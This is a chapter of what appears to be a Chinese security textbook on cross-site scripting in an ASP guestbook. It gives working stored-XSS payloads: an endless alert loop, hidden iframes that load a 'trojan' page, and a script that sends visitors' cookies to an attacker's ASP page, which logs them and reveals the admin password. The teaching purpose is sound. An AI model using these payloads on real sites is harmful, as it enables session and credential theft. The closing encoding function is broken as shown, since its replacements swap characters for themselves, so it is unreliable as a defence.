1.2 跨站脚本攻击
在浏览论坛或者留言簿时,会突然弹出一个提示框显示“网站有漏洞”。如图1-46所示。
图1-46 漏洞提示
利用跨站脚本攻击可以达到这种效果,虽然简单,但非常有效,它带来的危害并不比蠕虫小。本节介绍跨站脚本攻击,并以一个留言本的漏洞来演示如何利用与防御跨站脚本漏洞。
1.2.1 跨站攻击的来源
HTML(HyperText Markup Language,超文本链接语言)指一个包含链接的文本,这个文本链接到其他的文件。通过单击这些链接,可以很容易地从当前页面进入到链接指向的页面。
XSS称为“CSS”(Cross Site Script,跨站脚本攻击),指恶意攻击者在Web页面中插入恶意html代码,当用户浏览该页之时,这些代码会被执行,从而达到特殊目的。XSS属于被动式的攻击,隐蔽性强,而且很容易上手。
1.2.2 简单留言本的跨站漏洞
本节将以迷你留言本为例说明跨站脚本攻击,这个留言本的体积很小,代码不多,适合用来分析。并且安装很简单,从网上下载压缩包后解压到 IIS 的目录中即可使用,安装完成后的界面如图1-47所示。
图1-47 安装完成后的界面
用记事本打开index.asp,其代码如下:
<tr> <td width="12%" height="14" align="center" bgcolor="#FFFFFF"> <font color="#000000">昵称:</font></td> <td width="52%" height="14"> <font color="#000000"><%=rs("name")%></font></td> <td width="36%" height="14" bgcolor="#FFFFFF"> <p align="right"><font color="#000000"> <%=rs("time")%>
</font></td> </tr> <tr> <td width="12%" height="16" align="center" bgcolor="#FFFFFF"> <font color="#000000">留言:</font></td> </center> <td width="88%" height="1" colspan="2" rowspan="2"> <p align="left"> <font color="#000000"> <%=rs("body")%> </font></td> </tr>
其中加粗的两句代码从数据库中读取字符串,并放在HTML代码中。关键的是在这个过程中,代码没有对读取的字符串进行任何处理。如果它是HTML代码,毫无疑问,留言内容会按照HTML的语法解析显示;如果是JavaScript,则作为JavaScript执行。
下面攻击者开始把将恶意代码插入到数据库中,让页面被访问时执行。发布留言时留言内容会被插入到数据库中。单击“发表留言”进入签写留言的页面,在其中可以输入昵称和留言内容。
首先试试插入HTML代码能不能执行,输入一个简单的HTML输入超链接标签“<a>”,如图1-48所示。单击“提交”按钮,输入的数据插入到数据库中。
图1-48 输入超链接标签“<a>”
访问index.asp,查看代码在页面是否会执行成功,结果如图1-49所示。
图1-49 访问index.asp
其中显示的“aaa”和“bbb”都附有超链接,说明所写HTML代码从数据库中读出后被解析执行。也说明该页面有漏洞。
下面测试在数据库中插入 JavaScript 能否被解析执行。发表留言,在其中输入以下代码。弹出一个对话框,显示“测试漏洞”字符串:
<script>alert(‘测试漏洞’);</script>
因为昵称和留言两个选项中均存在漏洞,所以 JavaScript 代码可放在其中之一,如图1-50所示。提交访问index.asp,显示一个对话框,如图1-51所示。
图1-50 输入留言
图1-51 显示的对话框
这样的漏洞普遍存在,在网页中有数据输入处就有可能存在跨站脚本漏洞,检测的方法在这些位置输入HTML或脚本代码,查看在显示数据时它们可否被解析执行。如果可以,说明这个程序有漏洞。
1.2.3 跨站漏洞脚本分析
攻击者可以利用跨站脚本漏洞得到浏览该网页用户的 cookie,使其在不知不觉中访问木马网页,并且可以让网页无法正常访问。
(1)死循环
在网页中插入死循环语句,这是一种低劣的恶意攻击手法。写一段条件永远为真的循环语句,让页面执行到这段代码时进入死循环,从而使网页不能正常显示。更有甚者,在死循环语句中加入弹出对话框的代码,从而使浏览者的浏览器不停地弹出对话框。始终无法关闭,必须结束浏览器进程。
具体操作是打开发表留言页面,在留言内容中写入如下代码:
<script>while(true)alert(‘炸死你!’)</script>
如图1-52所示。
提交之后访问index.asp,弹出一个对话框。单击“确定”按钮,又弹出一个对话框。如此反复,必须结束IE的进程才能停止,如图1-53所示。
图1-52 输入死循环代码
图1-53 进入死循环
(2)隐藏访问
隐藏访问指使用户在访问一个网页时不知不觉之中访问另一个网页。
攻击者可以在有跨站漏洞的页面中插入代码,让所有访问这个页面的用户打开这个页面的同时隐藏访问攻击者的网站,从而帮攻击者增加访问量。
如果攻击者让用户隐藏访问的页面是一个木马网页的话,问题就严重了。在访问时,用户的计算机在不知不觉中下载并安装了一个病毒或者木马程序,这样计算机的控制权完全掌握在攻击者的手里。
要让用户访问页面的方法很多,比如插入下面的代码可以直接从当前网页跳转到目标页面:
<script> window.location.href="目标页面"; </script>
实现隐藏访问有两种方法,一种是让页面弹出一个高度和宽度都为0,而且坐标在屏幕范围之外的新页面来打开网页。代码如下:
<script> window.open('目标页面', '', 'top=10000,left=10000,height=0, width=0'); </script>
这种方法在弹出一个窗口后,虽然用户看不到,但是在任务栏中还会出现这个窗口的标题按钮。不过攻击者可以加入代码让木马网页自动关闭,这样留意任务栏的人不多。而且木马网页的标题一闪而过,打开则被关闭。
另外一种方法就是在页面中插入一个高度和宽度都为0的框架,其内容是攻击者想要用户访问的网页地址。这样既不会弹出一个新的窗口,页面看起来也与没有插入代码一样,隐蔽性十分高。
插入框架的代码如下:
<iframe src="目标网页"></iframe>
首先用一幅图片来试代码的效果,代码如下:
<iframe src="img/logo.jpg"></iframe>
上述代码的作用是在网页中插入一个框架,其中的内容是显示该网站img文件夹中的logo.jpg图片,如图1-54所示。
图1-54 输入生成框架代码
提交后访问index.asp,结果如图1-55所示。
图1-55 提交结果
成功地在网页中插入了一个框架,并显示图片。接下来把框架的高度和宽度都设置为0,查看框架是否被隐藏。代码如下:
<iframe src="img/logo.jpg" width="0" height="0"></iframe>
如图1-56所示,为了和前面的留言区别,这次的昵称改为“框架测试2”。
图1-56 昵称改为“框架测试2”
如图1-57所示,框架被隐藏。
图1-57 框架被隐藏
将test.html 文件放在网站的根目录下来作为木马网页,功能为弹出一个对话框说明已经隐藏访问木马页面,其代码如下:
<html> <head></head> <body> <script>alert('已经访问木马页面!')</script> </body> </html>
发布一个跨站留言,让用户隐藏访问test.html,留言的内容为如下代码:
<iframe src="http://localhost/test.html" width="0" height="0"></iframe>
在实际利用漏洞时,攻击者会把木马页面放在自己的网站空间中。上述代码使用完整的路径来表示木马页面的地址,这里使用test.html的完整路径http://localhost/test.html。为以示区别,后面使用localhost来表示攻击者的网站,用127.0.0.1表示漏洞网站。
在提交发表留言之后访问留言主页index.asp,页面中弹出预料中的对话框,如图1-58所示。
图1-58 预料中的对话框
这样证明了页面里的代码被成功执行,即访问了木马页面。
(3)获取浏览者cookie信息
一般论坛和留言本为了节省服务器的资源,通常都把用户的登录信息保存在用户计算机的cookie中,通过一些特殊的代码可以提取这个文件,配合隐藏访问的方法可以将其发送给攻击者。
相关知识
随着网络的发展,用户访问除了要求高度的视觉享受之外,更需要个性化的服务,所以才有了cookie。
浏览器把用户名、密码或是否登录之类的信息保存在cookie中,当用户访问页面时,网页从中取出信息处理,这样分担了服务器的一些工作。对于每一个站点,IE支持255个且每个cookie限记录1 024个字节内容。这样可以大量减轻服务器的资源消耗,又可以保证安全性一个站点不允许访问另一个站点的cookie 数据。但当是这个秘密为人所知之后,安全性就不复存在了。因为cookie 是使用 ASCII 编码的txt文件,所以可以打开任意一个cookie修改。
因为插入到页面的代码会被程序认为是网站自身的代码,所以在代码中可以直接取得用户在本网站的cookie。代码如下:
<script> document.cookie; </script>
在留言本中发表留言,插入代码使页面显示对话框浏览者的cookie。
<script> alert(document.cookie); </script>
结果如图1-59所示,提交后访问留言本首页时页面弹出浏览者在本站的cookie内容。
图1-59 显示的cookie
因为例中简单留言本的留言是匿名发表的,所以只有以管理员的身份登录后才会把管理员的信息保存在cookie中。一般用户的cookie中没有实质性内容,仅仅在论坛中有用户的登录信息。
以管理员的账号登录后访问这个页面,结果如图1-60所示。
图1-60 访问结果
从“pwd=admin”和“user=admin”,可以容易地判断出管理员的密码和用户名均为admin。
这样弹出的cookie为浏览者的,只有管理员访问这个页面时,这个文件才有其用户名和密码。结合一些其他的手法,即可让管理员在访问这个页面时把自己的cookie发送给攻击者。攻击者从中得到管理员的账号和密码,即可控制整个网站。
攻击者为得到管理员的信息,制作一个用来接收信息页面并在自己的网站中创建jieshou.asp文件接收浏览者发送的cookie信息,该文件的内容如下:
<% xinxi=request("xinxi") //注释:接收“xinxi”参数,并保存在xinxi变量中 set fs=server.CreateObject("Scripting.FileSystemObject") //注释:建立文件操作对象 set file=fs.OpenTextFile(server.MapPath("ck.txt"),8,True) //注释:打开网站目录下的ck.txt文件,如果这个文件不存在,则建立它 file.writeline xinxi //注释:把xinxi变量的内容写到ck.txt文件中 file.close set file=nothing set fs=nothing //注释:关闭文件并释放对象 %>
结合隐藏访问的方法,让管理员访问如下URL即把cookie发送到jieshou.asp:
http://localhost/jieshou.asp?xinxi=管理员cookie的内容
构造的代码如下:
<script> var ck=document.cookie; //注释:把cookie的内容保存到ck变量中 var url='http://localhost/jieshou.asp?xinxi='+ck; //注释:构造想要让浏览者隐藏访问的地址放到url变量中 var htmldaima='<iframe src="' + url + '"></iframe>' //注释:构造隐藏访问的代码 document.write(htmldaima); // 注释:把构造的htmldaima作为HTML来执行 </script>
把如上代码作为留言内容来发表,如图1-61所示。
图1-61 发表留言
提交之后用管理员身份登录留言本,访问留言首页,如图1-62所示。页面看起来一切正常,没有问题。
图1-62 访问留言首页
实际上页面已经把管理员的cookie发送到攻击者的接收页面,转到攻击者的网站目录下会发现多了一个ck.txt文件。
打开该文件,可看到留言本管理员的cookie,其中有管理员的账号和密码,如图1-63所示。
图1-63 管理员的账号和密码
从利用的过程中可以看出跨站漏洞的危害很大,攻击者可以通过一些方法取得浏览者的cookie,从而得到所需的敏感信息。
1.2.4 预防和防御跨站漏洞
dvHTMLEncode()函数是笔者从ubbcode中提取的用于处理特殊字符串的函数。它能把尖括号之类的字符替换成HTML特殊字符集中的字符。
HTML语言是标签语言,所有的代码用标签括起才有用,而所有标签用尖括号括起。尖括号不能发挥原来的作用之后,攻击者插入的代码便失去作用。dvHTMLEncode()函数的完整代码如下:
function dvHTMLEncode(byval fString) if isnull(fString) or trim(fString)="" then dvHTMLEncode="" exit function end if fString=replace(fString, ">", ">") fString=replace(fString, "<", "<") fString=Replace(fString, CHR(32), " ") fString=Replace(fString, CHR(9), " ") fString=Replace(fString, CHR(34), """) fString=Replace(fString, CHR(39), "'") fString=Replace(fString, CHR(13), "") fString=Replace(fString, CHR(10)&CHR(10), "</P><P>") fString=Replace(fString, CHR(10), "<BR>") dvHTMLEncode = fString end function
这个函数使用 replace()函数替换字符串中的一些特殊字符,如果需要过滤其他特殊字符,可以试着添加。
用 dvHTMLEncode()函数把所有输入及输出的字符串过滤处理一遍,即可杜绝大部分的跨站漏洞。
如简单留言本的漏洞是因为name中的body没有经过过滤而直接输出到页面形成的,代码如下:
<%=rs("name")%> …… <%=rs("body")%>
如下修改代码即可避免跨站漏洞:
<%=dvHTMLEncode( rs("name") )%>
…… <%= dvHTMLEncode( rs("body") )%>
用 dvHTMLEncode()函数过滤后输出,不会存在问题,也可以在用户提交时过滤后写到数据库中。
为禁用JavaScript,单击IE中的“工具”|“Internet选项”|“安全”|“Internet”|“自定义级别”选项,找到“脚本”部分,把“活动脚本”设置成“禁用”状态。
另外尽量不要访问安全性不高的网站,上网时打开杀毒软件的脚本监控功能,这样可以避免被恶意攻击者利用跨站脚本漏洞攻击的可能性。